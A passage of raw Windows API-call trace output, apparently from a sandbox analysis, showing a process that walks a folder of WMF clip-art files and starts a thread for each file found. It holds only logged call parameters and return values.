	[0244.577] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f535270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2208
	[0244.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.580] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1
	[0244.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f538950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220c
	[0244.583] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.583] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1
	[0244.583] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f53c030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2210
	[0244.586] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.586] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1
	[0244.586] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2214
	[0244.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.764] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1
	[0244.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2218
	[0244.765] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1
	[0244.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x221c
	[0244.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.768] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1
	[0244.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2220
	[0244.770] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.770] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1
	[0244.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2224
	[0244.772] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.773] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1
	[0244.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2228
	[0244.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.775] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1
	[0244.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x222c
	[0244.776] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.777] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1
	[0244.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0244.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2230
	[0244.779] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0244.779] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1
	[0245.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2234
	[0245.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.117] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1
	[0245.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2238
	[0245.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.119] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1
	[0245.119] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x223c
	[0245.121] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.122] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1
	[0245.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2240
	[0245.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.124] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1
	[0245.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2244
	[0245.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.126] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1
	[0245.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2248
	[0245.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.129] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1
	[0245.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224c
	[0245.130] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.131] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1
	[0245.131] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2250
	[0245.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.134] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1
	[0245.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2254
	[0245.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.136] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1
	[0245.136] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2258
	[0245.138] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.138] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1
	[0245.138] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x225c
	[0245.140] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.141] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1
	[0245.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2260
	[0245.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.143] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1
	[0245.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2264
	[0245.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.146] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1
	[0245.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2268
	[0245.198] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.198] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1
	[0245.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x226c
	[0245.200] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.201] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1
	[0245.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0245.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2270
	[0245.203] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1
	[0245.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
